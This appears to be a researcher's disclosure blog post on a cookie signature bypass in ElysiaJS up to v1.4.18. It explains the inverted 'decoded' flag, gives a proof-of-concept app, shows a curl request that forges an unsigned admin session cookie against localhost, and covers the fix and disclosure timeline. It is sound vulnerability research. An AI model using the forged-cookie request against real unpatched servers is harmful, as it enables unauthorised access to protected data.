devansh

ElysiaJS Cookie Signature Validation Bypass

vagabond

Table of Contents


Intro Lore

The recent React CVE(s) made quite a buzz in the industry. It was a pretty powerful vulnerability, which directly leads to Pre-auth RCE (one of the most impactful vuln classes).

Screenshot 2025-12-13 at 10

The React CVE inspired me to investigate vulnerabilities in other JS/TS frameworks. I selected Elysia as my target for several reasons: active maintenance, ~16K GitHub stars, clear documentation, and clean codebase - all factors that make for productive security research.

Screenshot 2025-12-13 at 11

While scrolling through the codebase, one specific codeblock looked interesting:

Screenshot 2025-12-13 at 9

It took me less than a minute to identify the "anti-pattern" here. Can you see what's wrong here? We'll get to it in a bit, but first, a little primer on ElysiaJS Cookie Signing.


Elysia treats cookies as reactive signals, meaning they're mutable objects you can read and update directly in your route handlers without getters/setters. Cookie signing adds a cryptographic layer to prevent clients from modifying cookie values (e.g., escalating privileges in a session token). Elysia uses a signature appended to the cookie value, tied to a secret key. This ensures integrity (data wasn't altered) and authenticity (it came from your server).

On a higher level, it works something like this:

Secrets Rotation

Rotating secrets is essential for security hygiene (e.g., after a potential breach or periodic refresh). Elysia handles this natively with multi-secret support.

This code is responsible for handling cookie related logic (signing, unsigning, secrets rotation).


Vulnerability

Now, going back to the vulnerability, can you spot the vulnerability in the below screenshot? No worries if you couldn't. I will walk you through.

carbon

  1. Sets decoded = true (assumes the cookie is valid before checking anything!)
  2. Loops through each secret
  3. Calls unsignCookie() for each secret
  4. If any secret successfully verifies, sets decoded = true (wait, it's already true - this does nothing), stores the unsigned value, and breaks
  5. If no secrets verify, the loop completes naturally without ever modifying decoded
  6. Checks if decoded is false... but it's still true from step 1
  7. No error is thrown - the tampered cookie is accepted as valid

The guard check at the end (if (!decoded) throw new InvalidCookieSignature(name)) becomes completely useless because decoded can never be false. This is dead code.

You see now? Basically if you are using the vulnerable version of Elysia and using secrets array (secrets rotation); Complete auth bypass is possible because InvalidCookieSignature error never gets thrown.

This seemed like a pretty serious issue, so I dropped a DM to Elysia's creator SaltyAom.

Screenshot 2025-12-13 at 10

SaltyAom quickly confirmed the issue

Screenshot 2025-12-13 at 10

At this point, we know that this is a valid issue, but we still need to create a PoC for it to showcase what it can do, so a security advisory could be created. Given my limited experience with Tyscript. I looked into the docs of Elysia and looked into sample snippets. After getting a decent understanding of syntax Elysia uses, it was time to create the PoC app using Elysia.

I had the basic idea in my mind of how my PoC app would look like, It will have a protected resource only admin can access, and by exploiting this vulnerability I should be able to reach the protected resource without authenticating as admin or without even having admin cookies.

Eventually, I came up with the following PoC for demonstrating impact:

import { Elysia, t } from 'elysia'

// Stores the admin password hash. If empty, no admin exists yet.
let adminHash = ''

const app = new Elysia({
    cookie: {
        secrets: ['my-secret-key'], // using secrets array
        sign: ['session'] 
    }
})

// Signup (Strict: "admin" only, and only once)
.post('/signup', async ({ body, set }) => {
    // Check if trying to register a non-admin user
    if (body.username !== 'admin') {
        set.status = 403
        return 'Forbidden: Only the username "admin" is allowed.'
    }

    // Check if admin is already registered
    if (adminHash) {
        set.status = 409 // Conflict
        return 'Error: Admin user already exists.'
    }
    
    // Hash and store
    adminHash = await Bun.password.hash(body.password)
    return 'Admin registered successfully.'
}, {
    body: t.Object({ 
        username: t.String(), 
        password: t.String() 
    })
})

// Login
.post('/login', async ({ body, cookie: { session }, set }) => {
    // Verify credentials
    if (body.username !== 'admin' || !adminHash || !(await Bun.password.verify(body.password, adminHash))) {
        set.status = 401
        return 'Invalid admin credentials.'
    }

    // Success: Issue cookie
    session.value = 'admin'
    session.httpOnly = true
    session.path = '/'

    return 'Logged in as Admin.'
}, {
    body: t.Object({ 
        username: t.String(), 
        password: t.String() 
    })
})

// Secret Route only admin can reach
.get('/secret', ({ cookie: { session }, set }) => {
    // Verify signed cookie value
    if (session.value !== 'admin') {
        set.status = 403
        return 'Forbidden. Admins only.'
    }

    return 'SECRET_CONTENT: The launch codes are 1337-00-1337.'
})
.listen(3000)

console.log(`🦊 Admin App running at ${app.server?.url}`)

Proof of Concept

What It Does

  1. Allows one-time signup of an admin account only
  2. Allows an existing admin to log in.
  3. Issues a signed session cookie once logged in.
  4. Protects a secret route so only logged-in admin can access it.

Let's Break It

Without signing up as admin, or login, issue the following cURL command:

curl -i -X GET "http://localhost:3000/secret" -H "Cookie: session=admin" 

Response:

HTTP/1.1 200 OK
content-type: text/plain;charset=utf-8
Date: Tue, 09 Dec 2025 21:49:25 GMT
Content-Length: 46

SECRET_CONTENT: The launch codes are 1337-00-1337.

We got access to protected content; without using an signed admin cookie.

Pretty slick, no?

The developer likely meant to write:

let decoded = false;  // Guilty until proven innocent

Instead, they wrote:

let decoded = true;   // Innocent until proven... always innocent

The attacker only needs to:

That's literally it.


The Fix

This vulnerability was fixed in v1.4.19

Screenshot 2025-12-13 at 10

Screenshot 2025-12-13 at 10

// Before (vulnerable)
let decoded = true;

// After (fixed)
let decoded = false;

With this fix in place, the verification logic now works correctly.


Disclosure Timeline

Affected Versions: Elysia ≤ v1.4.18 (confirmed), potentially earlier versions

Fixed Versions: v1.4.19


References